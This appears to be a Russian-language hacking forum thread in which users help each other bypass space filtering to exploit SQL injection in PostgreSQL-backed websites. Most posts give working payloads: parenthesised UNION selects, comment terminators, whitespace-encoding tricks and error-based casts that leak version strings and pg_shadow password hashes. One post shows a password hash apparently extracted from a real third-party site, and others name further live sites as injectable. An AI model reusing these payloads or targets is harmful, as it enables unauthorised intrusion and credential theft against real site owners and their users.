Имею дело с уязвимым поисковым скриптом. Свободно и без ошибок проходят все инъекции без пробелов и "+", например ?q=asd')OR(1=1)OR('sad'='ssd но стоит в запросе применить пробел, как выдаеца ошибка. поизучал скрипт, выяснил что это ииза того, что поисковик обрабатывает слова по отдельности, таксказать...чтобы круче искало... WHERE ((title ILIKE '%asd')%' AND title ILIKE '%or(1=1)or%') сопсна вопрос: что делать с этой гадостью, дабы была возможность человеческие инъекции проводить, а не "OR(1=1)"??
Например так HTML: (-1)union(select(1),2,3) HTML: (-1)union(select(table_name),2,(3)from(information_schema.tables)) Ну и далее перебирать нужные таблицы HTML: (-1)union(select(table_name),2,(3)from(information_schema.tables)where(table_name>'SCHEMA_PRIVILEGES'))
чет ваще не канает...но на вопрос ответил, спс. а вот еще такой момент: если известно что имею дело с PostgreSQL, то коректна такая связка? HTML: OR(select(blabla))
Для постгреса валидны варианты Code: select"column_name"from"information_schema"."columns"where"table_name"=$$clients$$; select(column_name)from"information_schema"."columns"where(table_name)='clients'; Имя таблицы в скобках СУБД не принимает
чет всеравно выдает трехэтажную ошибку... есть какойнить способ заставить его игнорировать остальную часть скрипта, кроме /* и # ?
Ошибку-то покажите. В постгресе игнорирование остальной части запроса с помощью /* не выйдет - СУБД выдаст ошибку, ибо требует закрытия комментария. # тут вообще не поможет. Пробуйте Code: -- +--+ ;-- ;+--+
вбиваю к примеру HTML: http://site.ru/trade/future/?q=asd')OR(1=1)OR('ass'='as выполняется успешно, выводятся воообще все результаты (ибо 1=1 везде) вместо 1=1 подставляю, к примеру select'1' на что мне отвечают HTML: ERROR [2] pg_query() [function.pg-query]: Query failed: ERROR: failed to find conversion function from unknown to boolean on line 135 in file /castle/sites/site.ru/htdocs/includes/database/database.pgsql.php (page: /trade/future/?q=asd')OR(select'1')OR('ass'='as) Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.6.30 Version/10.61ERROR [2] pg_query() [function.pg-query]: Query failed: ERROR: failed to find conversion function from unknown to boolean on line 135 in file /castle/sites/site.ru/htdocs/includes/database/database.pgsql.php (page: /trade/future/?q=asd')OR(select'1')OR('ass'='as) Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.6.30 Version/10.61 пробовал тут все что умею, но походу недостаточно знаю постгрес
Так? Code: http://site.ru/trade/future/?q=asd')OR(select'1')... Правильно пишет - ошибка синтаксиса: не может преобразовать результат подзапроса в булевское значение
krypt3r Ну эт то я и сам увидел, но как только не извращался с этим синтаксисом, не могу заставить его работать с 'select'ом. фантазия уже заканчиваеца XAMEHA опаопа! а вот тут поподробней плиз))
Подкину пару вариантов Code: http://site.ru/trade/future/?q=asd')OR(1=((select(version()))::int)) http://site.ru/trade/future/?q=asd')OR(1)=((select"passwd"from"pg_shadow"limit(1)offset(2))::int) Ну и примеры. За основу взята одна из инъекций в соответствующей теме. Запрос Code: http://cat.rusbic.ru/?rgn=80&cn=-999)OR(1)=((select(version()))::int);--+ Ответ: Code: Warning: pg_query() [function.pg-query]: Query failed: ERROR: invalid input syntax for integer: "[b]PostgreSQL 8.3.11 on x86_64-pc-linux-gnu, compiled by GCC gcc-4.3.real (Debian 4.3.2-1.1) 4.3.2[/b]" in /var/www/rusbic/data/www/rusbic.ru/func/base.php on line 84 Запрос: Code: http://cat.rusbic.ru/?rgn=80&cn=-999)OR(1)=((select"usename"||':'||"passwd"from"pg_shadow"limit(1)offset(0))::int);--+ Ответ: Code: Warning: pg_query() [function.pg-query]: Query failed: ERROR: invalid input syntax for integer: "[b]postgres:md5ec63fc1e79539051850385b5ec9411fe[/b]" in /var/www/rusbic/data/www/rusbic.ru/func/base.php on line 84
Для начала надо понять что тут используеться PostgreSQL. Вот как можно избавиться от фильтрации пробелов: Вот статья их хакера: кажем, ты нашел инъекцию на крупном новостном портале, но никак не можешь ее раскрутить, так как все известные тебе варианты пробелов не работают. Давай рассмотрим такой код PHP: if(isset($_GET['id']) && $_GET['id']!=''){ if(strstr($_GET['id']," ") {die "HACK ALERT"}; if(strstr($_GET['id'],"/**/") {die "HACK ALERT"}; if(strstr($_GET['id'],"+") {die "HACK ALERT"}; if(strstr($_GET['id'],"%20") {die "HACK ALERT"}; здесь какие-то запросы с использованием переменной $_GET['id'] Как мы видим, при использовании пробелов " ", /**/, + и %20 скрипт прекращает свою работу. На самом деле существует как минимум два способа обхода такого скрипта, первый – использование различных пробельных символов, второй – использование логики SQL запросов, в частности их реализации в MySQL. 1. Итак, первый способ. Помимо самого пробела существует множество различных пробельных символов, табуляция, возврат каретки и так далее. Вот их полный (а может и нет ) список: %09 – horizontal tab, горизонтальная табуляция %0A – NL line feed, символ новой строки %0B – vertical tab, вертикальная табуляция %0C – NP form feed, символ новой страницы %0D – carriage return, возврат каретки Все эти символы будут рассматриваться как пробельные. Пример запроса: id=-1%0Aunion%0Aselect%0A1 C этим, я думаю, все понятно, перейдем ко второму варианту: 2. В MySQL есть возможность выполнять SQL-код в блоке комментариев, выглядит это примерно так: PHP: select id/*!,title*/ from news В данном случае из таблицы news будут выведены поля id и title. Теперь посмотрим, как это реализовать в боевых условиях: Но бывает и такое, что фильтруются символы слэша. Тогда можно использовать способ, основанный на использовании скобок в запросе. Вот пример для обхода вышеизложенного скрипта: PHP: id=(-1)union(select(version())) Надеюсь ты меня понял
Аналогичная проблема, не получается сформировать корректный запрос. А именно отловить закомментировать остаток запроса. Пример: http://www.roseltorg.ru/set/announce.php?id=10077'-- https://com.roseltorg.ru/file/get/t/Protocols/?id=1036%27%20order%20by%20100/*
http://www.roseltorg.ru/set/announce.php?id=1test invalid input syntax for integer: "1test" переменная id без изменений попадает в запрос, никакого intval а там нету